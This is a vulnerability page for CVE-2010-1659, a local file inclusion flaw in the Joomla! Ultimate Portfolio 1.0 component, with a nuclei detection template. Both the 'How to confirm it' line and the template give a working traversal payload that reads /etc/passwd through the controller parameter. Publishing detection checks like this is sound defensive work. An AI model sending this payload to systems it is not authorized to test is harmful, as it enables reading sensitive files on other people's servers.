Joomla! Component Ultimate Portfolio 1.0 - Local File Inclusion

mediumseverity

5CVSS score

13.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Ultimate Portfolio (com_ultimateportfolio) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.

Fix

Apply the latest security patches or updates provided by the Joomla! project to fix the LFI vulnerability in Ultimate Portfolio 1.0 component.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1659 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1659

info:
  name: Joomla! Component Ultimate Portfolio 1.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Ultimate Portfolio (com_ultimateportfolio) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: |
    Apply the latest security patches or updates provided by the Joomla! project to fix the LFI vulnerability in Ultimate Portfolio 1.0 component.
  reference:
    - https://www.exploit-db.com/exploits/12426
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1659
    - http://www.exploit-db.com/exploits/12426
    - http://www.vupen.com/english/advisories/2010/1008
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58177
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1659
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.96505
    cpe: cpe:2.3:a:webkul:com_ultimateportfolio:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webkul
    product: com_ultimateportfolio
  tags: cve2010,cve,joomla,lfi,edb,webkul,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_ultimateportfolio&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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